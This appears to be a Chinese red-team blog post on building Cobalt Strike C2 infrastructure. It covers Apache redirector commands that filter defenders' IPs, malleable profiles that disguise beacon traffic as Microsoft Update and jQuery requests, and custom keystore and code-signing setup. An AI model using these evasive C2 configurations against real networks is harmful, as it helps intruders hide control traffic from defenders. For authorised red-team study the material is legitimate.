归纳总结之红队-C2 Server基础构建

 1qing@ubuntu:~/cs_server$ keytool -list -v -keystore cobaltstrike.store
 2Enter keystore password:
 3Keystore type: jks
 4Keystore provider: SUN
 5
 6Your keystore contains 1 entry
 7
 8Alias name: cobaltstrike
 9Creation date: Jun 14, 2019
10Entry type: PrivateKeyEntry
11Certificate chain length: 1
12Certificate[1]:
13Owner: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth
14Issuer: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth
15Serial number: 3312d415
16Valid from: Fri Jun 14 04:17:43 PDT 2019 until: Thu Sep 12 04:17:43 PDT 2019
17Certificate fingerprints:
18     MD5:  AB:D2:A4:18:5E:A7:6A:32:CC:1E:74:8C:67:D9:AB:3C
19     SHA1: 25:32:9C:8F:A7:14:3A:F4:43:65:AD:DD:63:2E:AA:25:82:31:E1:3B
20     SHA256: 64:25:7F:C0:FA:C3:1C:01:A5:CC:D8:16:C7:3E:A8:6E:63:92:60:DA:16:04:D0:4D:B8:69:BB:60:3C:28:86:E6
21Signature algorithm name: SHA256withRSA
22Subject Public Key Algorithm: 2048-bit RSA key
23Version: 3  

1python apache_redirector_setup.py --malleable="<Path to C2 Profile>" --block_url="https://google.com" --block_mode="redirect" --allow_url="team server Address" --allow_mode="proxy"

1python apache_redirector_setup.py --ip_blacklist="1.1.1.1;1.1.1.2" --block_url="https://google.com" --block_mode="redirect" --allow_url="<Team server Address>" --allow_mode="proxy
2

1python apache_redirector_setup.py --mobile_url="https://mobile-payload.com" --mobile_mode="proxy" --valid_uris="payload;uploads" --ir --ip_blacklist="1.1.1" --block_url="https://GetBlockedNerd.com" --block_mode="redirect" --allow_url="https://Teamserver.com" --allow_mode="proxy"

1./teamserver [IP] 
		

			
输入密码查看隐藏内容
			

				
				
			
		
 [/path/to/my.profile]

 1set sample_name "Putter Panda";
 2
 3set sleeptime "500";
 4
 5http-get {
 6# Beacon will randomly choose from this pool of URIs
 7set uri "/MicrosoftUpdate/ShellEx/KB242742/default.aspx";
 8
 9client {
10    header "User-Agent" "Mozilla/4.0 (Compatible; MSIE 6.0;Windows NT 5.1)";
11
12    # deliberate attempt to reproduce bug in HTTPCLIENT
13    header "Accept" "*/*, ..., ......, ."; 
14
15    # encode session metadata into tmp var
16    metadata {
17        netbiosu;
18        parameter "tmp";
19    }
20}
21
22# no special server side indicators as the report didn't say anything one way
23# or the other about these.
24server {
25    header "Content-Type" "application/octet-stream";
26
27    output {
28        print;
29    }
30}
31}
32
33http-post {
34set uri "/MicrosoftUpdate/GetUpdate/KB";
35
36client {
37    header "Content-Type" "application/octet-stream";
38    header "User-Agent" "Mozilla/4.0 (Compatible; MSIE 6.0;Windows NT 5.1)";
39
40    id {
41        append "/default.asp";
42        uri-append;
43    }
44
45    output {
46        print;
47    }
48}
49
50server {
51    header "Content-Type" "text/html";
52
53    output {
54        print;
55    }
56}
57}

1metadata {
2        netbiosu;
3        parameter "tmp";
4    }

1http-get {
2server {
3    header "API-URI" "aliyun";
4http-get {
5client {
6    parameter "qing" "good";     

 1server {
 2
 3            header "Server" "Apache/2.4.39 (Unix)";
 4            header "Content-Type" "application/javascript; charset=utf-8";
 5            header "Vary" "Accept-Encoding";
 6            header "Server" "Microsoft-IIS/8.5";
 7            header "Connection" "close";
 8
 9   output {
10
11               base64;
12               prepend "/*! * jquery.base64.js 0.1 - https://github.com/yckart/jquery.base64.js * Makes Base64 en & -decoding simpler as it is. * * Based upon:";
13               append "r64 = [256],r256 = [256],i = 0;var UTF8 = {/***Encode multi-byte Unicode string into utf-8 multiple single-byte characters* (BMP / basic multilingual plane only)";
14                print;
15
16            }
17    }
18}

1http-stager {
2server {
3    header "Cache-Control" "private, max-age=0";
4    header "Content-Type" "text/html; charset=utf-8";
5    header "Vary" "Accept-Encoding";
6    header "Server" "Microsoft-IIS/8.5";
7    header "Connection" "close";
8}
9}

1set uri_x86 "/favicon1.ico";
2set uri_x64 "/favicon2.ico";
3set uri "/jquery.min.js";

1http-config {
2set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
3header "Server" "Apache";
4header "Keep-Alive" "timeout=5, max=100";
5header "Connection" "Keep-Alive";
6set trust_x_forwarded_for "false";
7}

1https-certificate {
2set CN       "bobsmalware.com";
3set O        "Bob's Malware";
4}

1https-certificate {
2set keystore "domain.store";
3set password "mypassword";
4}

 1keytool
 2密钥和证书管理工具
 3
 4命令:
 5
 6-certreq            生成证书请求
 7 -changealias        更改条目的别名
 8 -delete             删除条目
 9 -exportcert         导出证书
10 -genkeypair         生成密钥对
11 -genseckey          生成密钥
12 -gencert            根据证书请求生成证书
13 -importcert         导入证书或证书链
14 -importpass         导入口令
15 -importkeystore     从其他密钥库导入一个或所有条目
16 -keypasswd          更改条目的密钥口令
17 -list               列出密钥库中的条目
18 -printcert          打印证书内容
19 -printcertreq       打印证书请求的内容
20 -printcrl           打印 CRL 文件的内容
21 -storepasswd        更改密钥库的存储口令

 1qing@ubuntu:~/cs_server$ keytool -genkey -alias qing -keyalg RSA -validity 36500 -keystore qing.store
 2Enter keystore password:
 3What is your first and last name?
 4What is the name of your organizational unit?
 5What is the name of your organization?
 6What is the name of your City or Locality?
 7What is the name of your State or Province?
 8What is the two-letter country code for this unit?
 9Is CN=qing, OU=qing, O=qing, L=qing, ST=qing, C=qing correct?
10Enter key password for <qing>
11    (RETURN if same as keystore password):
12Re-enter new password:
13
14Warning:
15The JKS keystore uses a proprietary format. It is recommended to migrate to PKCS12 which is an industry standard format using "keytool -importkeystore -srckeystore qing.store -destkeystore qing.store -deststoretype pkcs12".

 1https-certificate {
 2set CN       "qing";
 3set O        "qing";
 4set C        "qing";
 5set L        "qing";
 6set OU       "qing";
 7set ST       "qing";
 8set validity "365";
 9}
10#证书名称和证书密码
11code-signer{
12set keystore "qing.store";
13set password "123456";
14set alias "qing";
15}

1./c2lint [path/to/my.profile]